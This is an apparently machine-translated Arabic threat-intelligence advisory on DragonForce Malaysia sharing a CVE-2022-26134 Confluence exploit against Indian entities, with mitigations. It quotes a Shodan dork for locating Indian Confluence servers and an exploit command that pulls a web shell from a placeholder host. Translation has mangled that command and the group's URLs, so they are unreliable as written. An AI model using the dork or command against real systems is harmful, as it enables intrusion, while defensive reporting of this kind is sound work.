الفئة: استخبارات الخصمنوع التهديد: أحدث هجومالتحفيز: هاكتيفيستالمنطقة: الهندمصدر*: D4

ملخص تنفيذي

تهديدتأثيرتخفيف

• أعلنت DragonForce Malaysia، وهي مجموعة قراصنة إلكترونية تشارك بنشاط في استهداف الكيانات الهندية، عن استغلال CVE-2022-26134 الذي يعد ثغرة أمنية في Confluence Server وشاركته.
• شاركت المجموعة أيضًا قائمة بالأشرار الذين يستهدفون المنطقة الهندية على قناة Telegram الخاصة بهم.

• يمكن للجهات الفاعلة مسح الإنترنت بحثًا عن الحالات الضعيفة لخوادم Confluence والاستفادة من هذه الثغرة لشن هجمات ضد الكيانات الهندية الهامة المملوكة لكل من القطاعين الحكومي والخاص.

• ابحث عن التصحيحات والحلول البديلة لـ CVE-2022-26134.
• تدقيق ورصد الانحرافات في الشبكات التي يمكن أن تكون مؤشرات للتسوية المحتملة.

كلاود سيكمنصة المخاطر الرقمية السياقية للذكاء الاصطناعي الجيل السادس عشر حددت منشورًا على قناة Telegram حيث شاركت مجموعة المتسللين، DragonForce Malaysia، في استغلال CVE-2022-26134 لاستهداف واستغلال الكيانات الهندية بنشاط. CVE-2022-26134 هي ثغرة خطيرة في تنفيذ التعليمات البرمجية عن بُعد غير مصادق عليها موجودة في خادم Confluence ومركز البيانات. يقوم DragonForce بنشر التحديثات على قناة Telegram الخاصة بهم

التحليل والإسناد

معلومات من منتديات الجرائم الإلكترونية

• في 21 يونيو 2022، نشر أحد ممثلي التهديد منشورًا على منتدى الجرائم الإلكترونية، مشيرًا إلى PoC (إثبات المفهوم) للاستغلال جنبًا إلى جنب مع ثغرة Shodan dork لـ Confluence Server التي تستهدف المنطقة الهندية.

شودان دورك: https://favicon.hash: -305179312 البلد: «الهند»

• شارك الممثل أيضًا مستودع GitHub الذي يحتوي على البرنامج النصي الذي يمكن تنزيله واستغلاله باستخدام أمر python التالي:

CVE-2022-26134.py http://targets.com «احصل على https://site.com/shell.txt -O DFM.php

• في وقت لاحق من ذلك اليوم، شوهدت DragonForce Malaysia وهي تشارك هذا الاستغلال لجميع مشتركيها البالغ عددهم 152,257 على قناة Telegram الخاصة بهم.
• كما لوحظ قدر كبير من الأحاديث في العديد من منتديات الجرائم الإلكترونية وقنوات Telegram فيما يتعلق بثغرة Confluence هذه.

[معرف التسمية التوضيحية = «المرفق _20026" aligncenter «العرض ="1350"] منشور منتدى الجرائم الإلكترونية يناقش CVE-2022-26134 [/caption]

حول دراجون فورس

• في 10 يونيو 2022، اكتشفت منصة XviGil للمخاطر الرقمية السياقية للذكاء الاصطناعي التابعة لـ CloudSek تغريدة نشرتها مجموعة هاكتيفيست ماليزية تحمل اسم DragonForce، تدعو إلى شن هجمات على مواقع الحكومة الهندية من قبل قراصنة مسلمين في جميع أنحاء العالم.
• كان الهدف الأساسي للمجموعة من الهجوم، كما زعموا، هو الرد على الحكومة الهندية بسبب التعليقات المثيرة للجدل حول النبي محمد من قبل بعض السياسيين الهنود.
• المجموعة التي تقف وراء هذه الدعوة الإلكترونية لحمل السلاح، DragonForce Malaysia، هي مجموعة هاكتيفيست مؤيدة للفلسطينيين ومقرها في ماليزيا.
• تمتلك هذه المجموعة وتدير منتدى حيث تنشر الإعلانات وتناقش أحدث أنشطتها.
• تحتوي المجموعة أيضًا على صفحات Instagram و Facebook إلى جانب قنوات Telegram المتعددة. ومع ذلك، يتم نسخ معظم المحتوى عبر مواقع الويب الخاصة بهم ومقابض الوسائط الاجتماعية.
• تقوم المجموعة بحملات توظيف وترويج منتظمة باستخدام بكرات Tiktok و Instagram.

قنوات الاتصال الرسمية لـ DragonForce

المنتدى: https [:] //دراغون فورس [.] راديو: https [:] //راديو [.] دراغون فورس [.] إو فيسبوك: https [:] //fb [.] أنا/دراغون فورس أوتيوتيليجرام: https [:] //t [.] أنا/دراغون فورس إنترنت تويتر: https [:] //تويتر [.] com/dragonforceioInstagram: https [:] //dragonforceIoInstagram: https [:] //dragonforce IoInstagram: https [:] //dragonforce IoInstagram: https [:] //dragonforce IoT موقع يوتيوب الخاص بإنترنت: https [:] //www.youtube [.] كوم/قناة/UC9gycrxuy7-WMULPBKBP4BW

معلومات من OSINT

• استنادًا إلى المعلومات الواردة من الويب المفتوح، تمكن باحثو CloudSek من تحديد أنه اعتبارًا من 4 يونيو 2022، كان ما لا يقل عن 23 عنوان IP فريدًا يستغل هذه الثغرة الأمنية.
• أظهر بحث أجرته شركة Shodan أن هناك ما لا يقل عن 9,396 نسخة يمكن الوصول إليها علنًا من Confluence على الإنترنت.

[معرف التسمية التوضيحية = «المرفق 20027" align= «aligncenter» width="316"] المصدر: شودان [/caption]

• تشير البيانات من Cloudflare إلى أن هذه الثغرة يتم استغلالها من قبل مصادر متعددة على نطاق واسع.

[معرف التسمية التوضيحية = «المرفق _20028" aligncenter «العرض ="1274"] رسم بياني يصور استغلال CVE-2022-26134 (المصدر: Cloudflare) [/caption]

التأثير والتخفيف

التأثيرالتخفيف

• ترتبط DragonForce بالعديد من مجموعات الهاكتيفيست لحملتها ضد الكيانات الهندية. يمنحهم هذا الاستغلال المزيد من الفرص لتشويه قاعدة بيانات الكيانات الهندية وتفريغها.
• يمكن للمهاجمين استخدام هذه الثغرة الأمنية لتنفيذ الأوامر عن بُعد.
• يمكن للجهات الفاعلة في مجال التهديد الاستفادة من هذه الفرصة لاستهداف الضحايا ونشر برامج الفدية.
• الخسارة المحتملة للإيرادات والسمعة والملكية الفكرية.

• يجب تحديث إصدارات Confluence Server ومركز البيانات إلى الإصدارات المصححة التالية:
  • 7.4.17
  • 7.13.7
  • 7.14.3
  • 7.15.2
  • 7.16.4
  • 7.17.4
  • 7.18.1
• تدقيق ورصد الانحرافات في الشبكات التي يمكن أن تكون مؤشرات للتسوية المحتملة.

المراجع

• *مصدر الذكاء وموثوقية المعلومات - ويكيبيديا
• ^#بروتوكول إشارات المرور - ويكيبيديا
• تغريدة حول CVE-2022-26134
• تقرير كلاودسك عن CVE-2022-26134